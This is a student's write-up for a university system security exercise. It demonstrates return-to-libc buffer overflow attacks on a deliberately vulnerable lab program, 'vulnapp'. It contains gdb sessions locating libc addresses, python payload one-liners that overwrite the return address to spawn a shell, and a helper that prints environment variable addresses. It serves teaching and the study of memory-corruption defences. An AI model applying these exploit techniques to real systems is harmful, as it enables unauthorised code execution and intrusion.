System Security, Spring 2010 - Exercise 5

Attack 1: Execute your favorite shell

To begin with we have to get an overview of the stack layout, from the last exercise we already know that the vulnerable buffer has a size of 12 bytes, after the buffer the saved ebx register, the saved ebp and the return address follow. Since we want to overwrite the return address with the address of the system() function, we need a filler of 20 bytes (buffer[12] + ebx[4] + ebp[4]) before the new return address. The filler can be arbitrary, however `0x00` should no be used since it is the null character (`'\0'`), which would prevent us from including any additional characters.

After the filler the new return address, that is the address of the libc system() function, has to follow. To get that address we start gdb and execute until we hit the main function and then use `p system`.

```
gdb --args vulnapp ABCD
...
(gdb) start
Breakpoint 1 at 0x8048502: file vulnapp.c, line 18.
Starting program: /home/cyrill/Desktop/vulnapp ABCD
main (argc=2, argv=0xbffff5e4) at vulnapp.c:18
18    vulnapp.c: No such file or directory.
      in vulnapp.c
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eafac0 <system>
```

The next entry on the stack has to be the return address that is used after the system() function has done its job. Since we want to quit the program without leaving a mess behind we try to use the exit() function. Looking at the address of the exit() function we notice the 00 which would translate into the null character.

```
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ea4d00 <exit>
```

To get around that problem we have to find a solution that doesn't contain the null character. We could use the _exit() function directly, which does not execute any atexit() or on_exit() functions. However we can also take advantage of the lazy symbol binding and use the plt variant of the exit() function, which is what we're going to do.

```
(gdb) p _exit
$3 = {<text variable, no debug info>} 0xb7f132a4 <_exit>
(gdb) p 'exit@plt'
$4 = {<text variable, no debug info>} 0x8048404 <exit@plt>
```

Now getting back to the system() function. The system() function needs the memory address of the string we want to use as an argument. To find that address we can either set a breakpoint at the right position of the program and then get the address of the desired variable or use `info variables` to get all names of the variables that the program uses and then determine the needed address from the name.

```
(gdb) disas main
...
0x0804852e <main+62>: call   0x80483a4 <fgets@plt>
0x08048533 <main+67>: test   %eax,%eax
...
(gdb) break *main+67
Breakpoint 2 at 0x8048533: file vulnapp.c, line 28.
(gdb) c
Continuing.
Type some text:
/bin/dash

Breakpoint 2, main (argc=1852400175, argv=0xbffff5e4) at vulnapp.c:28
28    in vulnapp.c
(gdb) info locals
p = 0x8049818 "/bin/dash\n"
```

or

```
(gdb) info variables
All defined variables:

File init.c:
const int _IO_stdin_used;

File vulnapp.c:
char input[25];
...
(gdb) p &input
$5 = (char (*)[25]) 0x8049818
```

Putting the exploit together we have now the filler followed by the system() function address, the exit@plt function address and the address of the input string. Paying attention to the byte ordering we get:

```
./vulnapp `python -c 'print "A"*20+"\xc0\xfa\xea\xb7"+"\x04\x84\x04\x08"+ ↙
    "\x18\x98\x04\x08"'`
```

```
Type some text:
/bin/dash

You typed: [/bin/dash]
You provided:[AAAAAAAAAAAAAAAAAAAA????????]
$ ps
  PID TTY          TIME CMD
13590 pts/1    00:00:00 bash
13700 pts/1    00:00:00 vulnapp
13703 pts/1    00:00:00 sh
13704 pts/1    00:00:00 dash
13712 pts/1    00:00:00 ps
$ exit
cyrill@ubuntu:~/Desktop$ echo $?
0
```

As we can see the program exited properly and returned exit code 0 because the stack contains the null character that terminates our argument passed to the vulnapp program.

Attack 2: Execute the shell from environmental variables

The filler, system() and exit@plt function addresses will remain the same, the only thing that we have to change is the address of the argument which will now be taken from the environmental variable. To find the desired address when the program runs in gdb we use:

```
(gdb) call getenv("SHELL")
$6 = -1073743939
(gdb) p/x $6
$7 = 0xbffff7bd
```

However this address will most likely only work when the program runs using gdb, to execute the program without gdb the address has be changed slightly. Trial and error might be a reasonable way to go, but we can reduce the number of tries we need with just a few lines of code (see Listing 1) that will give us the address of any environmental variable.

```
cyrill@ubuntu:~/Desktop$ gcc getaddr.c -o getaddr
cyrill@ubuntu:~/Desktop$ ./getaddr SHELL
Address: 0xbffff7c8
 String: /bin/bash
```

Putting again everything together we get the new exploit:

```
./vulnapp `python -c 'print "A"*20+"\xc0\xfa\xea\xb7"+"\x04\x84\x04\x08"+ ↙
    "\xc8\xf7\xff\xbf"'`
```

Listing 1: getaddr.c

```
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  char *addr = getenv(argv[1]);

  printf("Address: %p\n", addr);
  printf(" String: %s\n", addr);
  return 0;
}
```

```
Type some text:
hello world

You typed: [hello world]
You provided:[AAAAAAAAAAAAAAAAAAAA????????]
cyrill@ubuntu:~/Desktop$ ps
  PID TTY          TIME CMD
13590 pts/1    00:00:00 bash
14757 pts/1    00:00:00 vulnapp
14759 pts/1    00:00:00 sh
14760 pts/1    00:00:00 bash
14796 pts/1    00:00:00 ps
cyrill@ubuntu:~/Desktop$ exit
exit
cyrill@ubuntu:~/Desktop$ echo $?
0
```

Everything works as expected and the address of the SHELL variable that we used also fits perfectly.

References

[1] _EXIT(2) - Linux Programmer's Manual, 2008. URL http://www.kernel.org/doc/man-pages/online/pages/man2/_exit.2.html.

[2] C0ntex. Bypassing non-executable-stack during exploitation using return-to-libc. URL http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf.

[3] Richard Stallman, Roland Pesch, and Stan Shebs. *Debugging with gdb*. Free Software Foundation, 2010.

[4] Eric Youngdale. The ELF Object File Format by Dissection, 1995. URL `http://www.linuxjournal.com/article/1060`.